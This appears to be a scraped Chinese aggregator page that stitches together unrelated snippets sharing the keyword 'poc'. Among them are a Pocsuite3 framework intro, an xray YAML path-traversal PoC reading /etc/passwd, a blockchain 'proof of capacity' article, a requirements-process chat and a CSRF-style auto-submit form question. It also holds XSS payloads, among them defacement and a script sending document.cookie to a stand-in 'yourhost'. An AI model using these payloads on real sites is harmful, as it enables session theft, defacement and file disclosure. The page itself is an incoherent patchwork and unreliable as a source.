poc

如何打造自己的PoC框架-Pocsuite3-使用篇

匿名 (未验证) 提交于 2019-12-02 23:26:52
相比于无聊的用法介绍,我更想说一下Pocsuite3为什么会有这些功能以及是如何实现的。如果你也想制造一款类似的工具,Pocsuite3的一些思想或许能够帮助到你。本文同时也是记录Pocsuite3开发过程中的一些思考与理解。 简介 Pocsuite 是由知道创宇404实验室打造的一款开源的远程漏洞测试框架。它是知道创宇安全研究团队发展的基石,是团队发展至今一直维护的一个项目,保障了我们的 Web 安全研究能力的领先。 你可以直接使用 Pocsuite 进行漏洞的验证与利用;你也可以基于 Pocsuite 进行 PoC/Exp 的开发,因为它也是一个 PoC 开发框架;同时,你还可以在你的漏洞测试工具里直接集成 Pocsuite,它也提供标准的调用类。 Pocsuite3是完全由Python3编写,支持Windows/Linux/Mac OSX等系统,在原Pocsuite的基础上进行了整体的重写与升级,使整个框架更具有操作性和灵活性。 巨人的肩膀 Pocsuite3在编写时参考了很多市面上的开源框架以及流行成熟的框架,在代码工程结构上参考了Sqlmap,Pocsuite-console模式则参照了routersploit与metasploit,所以PoC的代码格式和以前有些差别(但是尽量克制了大的改动)。Pocsuite3也提供了非常简单的接口调用,可以集成到其他安全工具内部。

xray写POC踩坑

天涯浪子 提交于 2019-11-29 10:39:05
错误记录 静态文件目录不一定是static。 只考虑了linux的情况,如果是 windows 呢,能读取某些应用自己的源码吗。 实际环境参数不一定是id,thinkphp 不适合使用 poc 来写 poc 内容没啥问题,文件名和 poc name有问题 https://travis-ci.org/chaitin/xray/builds/583451463?utm_source=github_status&utm_medium=notification NodeJS_path-validation_CVE-2017-14849.yml name: NodeJS_path-validation_CVE-2017-14849 rules: - method: GET path: /static/../../../a/../../../../etc/passwd headers: Accept: '' follow_redirects: false expression: | status==200 && body.bcontains(b'root:x:0:0') detail: author: 17bdw Affected Version: "NodeJS 8.5.0" links: - https://github.com/vulhub/vulhub/tree/master/node

什么是POC(容量证明)硬盘挖矿机,未来区块链应用新趋势?

半城伤御伤魂 提交于 2019-11-29 08:56:38
PoW是工作量证明,PoS是权益证明,DPoS是委托权权益证明,但PoC是一种怎么样的共识机制? PoC是Proof of Capacity的缩写,称之为容量证明机制,它是POW 共识机制的一种,它是以硬盘作为共识参与者,它的特点是牺牲性能获得安全可信,相对POW 减少了非常多的安全和信任成本,更低成本解决了全局信任和安全,几乎不耗电力资源,并且可共享和复用的信任生态。 目前大部分数字货币挖矿采用的是POW(工作量证明)。仅有BHD、Burst使用POC挖矿模式(Yottachain主网并未上线,YTA币暂且不算在列)。 所谓的POC,它到底是什么呢? 相比POW 不停改变区块头的某个数字来猜测正确的哈希值,POC 把你猜数字的工作量变成了硬盘空间里的“测绘”(plotting)的工作量。每个区块都会绑定一个专属的“谜题”,在挖矿开始之前,网络就会把破解这个谜题的计算方法(solutions)储存在你的硬盘空间里。这些计算方法有的比较快,有的比较慢,如果你的硬盘里恰好有一个计算方法,是目前最近产生的这个区块里的谜题所对应的“最快解”,那么你就赢得了这个区块的记账权——挖矿的奖励就是你的了。 与PoW机制相比,PoC有很多优势: 1、耗电量低,更加节能 相比于PoW,POC挖矿将算力替换成硬盘空间,在很大程度的杜绝了POW挖矿造成的资源浪费以及对环境不友好等问题,同时降低了挖矿成本

XSS漏洞的poc与exp

偶尔善良 提交于 2019-11-29 03:15:13
poc <script>alert('xss')</script> 最简单常用的poc <a href='' onclick=alert('xss')">type</a> 页面出现一个按钮type,点击触发onclick,然后执行弹窗 <img src=http://1.1.1.1/a.ipg onerror=alert('xss')> 加载图片,给一个错误的图片地址,错误则执行弹窗 <script>window.location=‘http://1.1.1.1'</script> 重定向到指定的url地址 <iframe SRC="http://1.1.1.1/victim" height = "0" width ="0"></iframe> exp <script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS WEBSITE IS UNDER ATTACK</h1></div>";</script> 篡改页面,将页面篡改为<h1></h1>里面显示的文字 <script>new Image().src="http://yourhost/getcookie.php? cookie="+document.cookie;</script> 将别人登录的cookie信息捕获到自己的服务器上

拿到一个需求后怎么做

有些话、适合烂在心里 提交于 2019-11-28 22:14:40
同事问了一个问题,当拿到一个需求后如何做,以下是我们两个人的交流,说不定哪天面试会用上,记录一下,如果能帮到你很开心。 我:先和用户交流,弄清一点需求后,然后实现一个poc,实现poc后拿给用户看,用户看到poc后肯定会给出意见,可能是他想要的可能不是他想要的,然后进一步和用户沟通,进一步确定需求 ,这个过程重复,直到实现用户的需求达到用户的满意度。poc达到用户的需求后就正式开发,这样的好处是在poc代码开发中不用考虑代码优化和可能存在的bug,主要是实现用户的需求。 jayden : 结合下我们薪薪乐的情况,poc 其实已经达成了,是由 Jocky 达成的(他的原型稿即 poc)。然后就到达我们这边,我们这边会讨论下 poc 中的实现并估时。然后就是直接开发了。从实际上来说,新功能按 poc 实现,或者我们自己决定实现,或者反馈 Jocky 重新讨论后实现。原有功能的修改,除了上述 3 种,我们还得依赖于既有功能来实现(这个实现和 poc 有可能不一致)。 具体开发阶段,新功能比较容易,把界面,交互和接口返回的数据按 poc 的要求组合起来就成了(套路说起来非常简单的一句话,编码起来可能要和接口的兄弟各种讨论了 ) 如果有旧有功能修改的,这个情况就比较费脑一些,有时新的修改依赖于既有功能较少,那就干脆重新实现了,就像新功能一样 . 有时反过来,又有比较深的依赖,咋办呢 1.

RPA成功部署的关键:POC实施技巧

我们两清 提交于 2019-11-28 15:39:38
POC(Proof of concept),常译作“概念验证”,是企业部署 RPA 的必经环节。通过对制作好的自动化进行测试,以发现其局限性,并帮助确保机器人按预期工作。 POC通常发生在还没进行部署RPA工程的企业。企业根据自身的业务需求或企业未来的发展布局,来部署 RPA技术 ,期望可以大量减少人工无为的耗时,来提高工作效率,把更多的时间留给精细化管理和创新,进而实现降本增效。另外,推动流程自动化,本也是赶上当前信息化时代潮流、走向国际前沿的应有之意。 POC的两种形式 POC通常涉及两种形式:第一种,客户已经认定了一种产品,会直接选择这款产品进行POC测试。第二种则是通过做POC进行产品比对,进而选出更为优秀的一款产品。 第一种情况的POC较为省事,客户自己能很配合的根据RPA实施方的要求整理出业务需求。第二种情况则相对麻烦些。由于客户不知道怎样去做相关的需求整理,所以这就要求RPA实施方亲自调研。一种理想的方式是,把业务流程重现一遍,并用视频录下来配上语音讲解。文档方面,在客户环境先做一个简单的SOP文档,图文标配,为后期做细节准备。这样,前期文档准备大概也会有两种,一种是SOP(标准化操作流程),一种是BRD(业务需求文档)。两种只选其一即可。 评估RPA应用可行性 文档梳理完毕,接下来就需要去评估实施RPA是否可行。在大多数规则固定的情况下,不考虑公司内部信息安全因素

JavaScript form submit WITH a field called submit

早过忘川 提交于 2019-11-27 09:49:20
I was wondering if there is any method (using JS or otherwise) to autosubmit a form with a field with name and id as 'submit'. Essentially, my entire HTML code looks like this: <html> <body onload=myForm.submit()> <form id="myForm" name="myForm" action="http://example.com/examplePage.do" method="POST"> <input type=hidden name="val1" id="val1" value="some_Value"/> <input type=hidden name="val2" id="val2" value="another_Value"/> <input type=hidden name="val3" id="val3" value="yet_another_Value"/> <input type=hidden name="submit" id="submit" value="Continue"/> </form> </body> </html> Obviously,